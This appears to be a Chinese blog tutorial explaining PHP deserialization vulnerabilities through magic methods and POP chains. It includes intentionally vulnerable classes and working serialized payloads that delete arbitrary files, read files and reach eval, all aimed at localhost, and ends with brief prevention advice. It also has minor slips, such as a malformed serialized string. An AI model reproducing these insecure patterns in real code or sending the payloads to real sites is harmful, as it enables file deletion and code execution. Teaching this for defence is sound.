浅浅析PHP反序列化漏洞
文章最后更新时间为:2019年03月19日 00:15:07
0. 前言
以前只是在在线实验室学习过php反序列化漏洞,但是只是浮于表面,也没有挖到过,记忆就很浅了,觉得还是认真学习记录一下比较好。
1. PHP序列化、反序列化介绍
php序列化就是将变量保存为字符串,反之,反序列化就是将字符串还原为变量,在传递变量的过程中,有可能遇到变量值要跨脚本文件传递的过程。试想,如果一个脚本中想要调用之前一个脚本的变量,但是前一个脚本已经执行完毕,所有的变量和内容释放掉了,我们要如何操作呢?
serialize和unserialize就是解决这一问题的存在,serialize可以将变量转换为字符串,并且在转换中可以保存当前变量的值;而unserialize则可以将serialize生成的字符串变换回变量。
举个例子:
<?php
class Student{
protected $name = 'saucerman';
public $sex = 'man';
public $year = 10;
}
$saucerman = new Student;
$saveData = serialize($saucerman); //序列化后的字符串
echo $saveData;
# 结果
O:7:"Student":3:s:7:"*name";s:9:"saucerman";s:3:"sex";s:3:"man";s:4:"year";i:10;}
下面是结果和一些注解:
然后我们可以在后面将$saveData
反序列化:
$who = unserialize($saveData);
print_r($who);
可以看到还原了原来的类:
2. 反序列化漏洞
那么在反序列化的过程中,怎么就会产生漏洞?一步步来看
2.1 魔法函数
熟悉python的都知道,python在创建类的时候,会自动调用init()
方法来进行初始化。
php也有也有一些魔法函数,魔法函数一般是以__开头,通常会因为某些条件而触发不用我们手动调用,具体可参考:http://php.net/manual/zh/language.oop5.magic.php, 和反序列化相关的主要有以下几个函数:
__construct()
当一个对象创建时被调用____destruct()
当一个对象销毁时被调用__toString()
当一个对象被当作一个字符串使用____sleep()
在对象在被序列化之前运行__wakeup
将在序列化之后立即被调用
下面我们做一个实验:
<?php
class Test
{
public $varible = 'BUZZ';
public $varible2 = 'OTHER';
public function PrintVarible()
{
echo $this->varible . '<br />';
}
public function __construct()
{
echo '__construct<br />';
}
public function __destruct()
{
echo '__destruct<br />';
}
public function __wakeup()
{
echo '__wakeup<br />';
}
public function __sleep()
{
echo '__sleep<br />';
return array('varible','varible2');
}
}
// 创建一个对象,会调用__construct
$obj = new Test;
// 序列化一个对象,会调用__sleep
$serialized = serialize($obj);
//输出序列化后的字符串
print 'Serialized: ' . $serialized . '<br />';
// 重建对象,会调用__wakeup
$obj2 = unserialize($serialized);
// 调用PrintVarible,会输出数据(BUZZ)
$obj2->PrintVarible();
//php脚本结束,会调用__distruct
?>
结果:
2.2 反序列漏洞举例
通过上述代码可以看到serialize的时候调用了__sleep
,unserialize的时候调用了__wakeup
函数,在对象销毁的时候调用了__destruct
函数
举个存在漏洞例子。logfile.php中一个类用于临时将日志储存进某个文件,当__destruct
被调用时,日志文件会被删除:
<?php
class LogFile
{
//log文件名
public $filename = 'error.log';
//存储日志函数
public function logData($text)
{
echo 'Log some data:' . $text . '<br />';
file_put_content($this->filename,$text,FILE_APPEND);
}
// 删除日志
public function __destruct()
{
echo '__destruct delete ' . $this->filename . '<br />';
unlink(dirname(__FILE__) . '/' . $this->filename);
}
}
?>
如果在index.php文件中调用这个类:
<?php
include 'logfile.php';
// .....一些乱七八糟的代码
// 重建用户输入的数据
$usr = unserialize($_GET['usr_serialized']);
?>
我们看到$usr = unserialize($_GET['usr_serialized']);
其中 $_GET['usr_serialized']
是可控的,那么我们就可以构造输入删除任意文件。
比如说, 这里如果我们需要删除1.php
,访问1.php如下:
那么我们可以构造
<?php
include 'logfile.php';
$obj = new LogFile();
$obj->filename = '1.php';
echo serialize($obj);
这样得到反序列化后的值为:O:7:"LogFile":1:{s:8:"filename";s:5:"1.php";}
这样我们访问http://127.0.0.1/index.php?usr_serialized=O:7:%22LogFile%22:1:{s:8:%22filename%22;s:5:%221.php%22;}
,之后再访问1.php
就会发现已经被删除了。
在上面的例子中,由于输入可控造成的__destruct
函数删除任意文件,其实问题也可能存在于__wakeup
、__sleep
、__toString
等其他magic函数,一切都是取决于程序逻辑。
打个比方,某用户类定义了一个__toString
为了让应用程序能够将类作为一个字符串输出(echo $obj) ,而且其他类也可能定义了一个类允许__toString
读取某个文件。
<?php
class FileClass
{
//文件名
public $filename = 'error.log';
//当对象被作为字符串会读取这个文件
public function __toString()
{
return file_get_contents($this->filename);
}
}
//其他乱七八糟的代码...
// 用户可控
$obj = unserialize($_GET['usr_serialized']);
//输出 __toString
echo $obj;
这样我们访问http://localhost/test.php?usr_serialized=O:9:"FileClass":1:{s:8:"filename";s:5:"1.txt";}
便可以读到1.txt文件中的内容
2.3 php反序列化与POP链
前面说到的都是基于魔法函数的自动调用,但是有时危险函数只存在于普通函数中,就不能简单的利用魔法函数完成危险操作了。
但是面向对象经常要完成类与类之间的调用。就像ROP一样,比如如下代码:
<?php
class ROP1 {
var $test;
function __construct() {
$this->test = new ROP2();
}
function __destruct() {
$this->test->action();
}
}
class ROP2 {
function action() {
echo "hello,world";
}
}
class ROP3 {
var $test2;
function action() {
eval($this->test2);
}
}
$classsssssss = new ROP1();
unserialize($_GET['test']);
?>
上述代码ROP1类在__destruct
时会调用ROP2的action()方法,输出hello,world
。
但是我们注意到ROP3类中危险函数eval,我们可以控制ROP1来调用ROP3方法。
<?php
class ROP1 {
var $test;
function __construct() {
$this->test = new ROP3();
}
}
class ROP3 {
var $test2 = "phpinfo();";
}
echo serialize(new ROP1());
?>
这样得到反序列化字符串O:4:"ROP1":1:{s:4:"test";O:4:"ROP3":1:{s:5:"test2";s:10:"phpinfo();";}}
。然后访问http://localhost/test.php?test=O:4:%22ROP1%22:1:{s:4:%22test%22;O:4:%22ROP3%22:1:{s:5:%22test2%22;s:10:%22phpinfo();%22;}}
如下:
再来回顾一下上述过程,我们发现反序列化的值时可控的,并且发现了ROP3类中危险函数eval,那么我们就要想办法来调用这个类的函数,我们发现ROP1会调用其他类,所以我们可以修改ROP1调用的类,然后控制eval函数的参数即可。
一开始我还在想,能不能直接控制ROP2的函数,被自己蠢到了。。反序列化只会保存参数,不会有任何函数定义。
2.4 漏洞防范
- 要严格控制unserialize函数的参数,坚持用户所输入的信息都是不可靠的原则
- 要对于unserialize后的变量内容进行检查,以确定内容没有被污染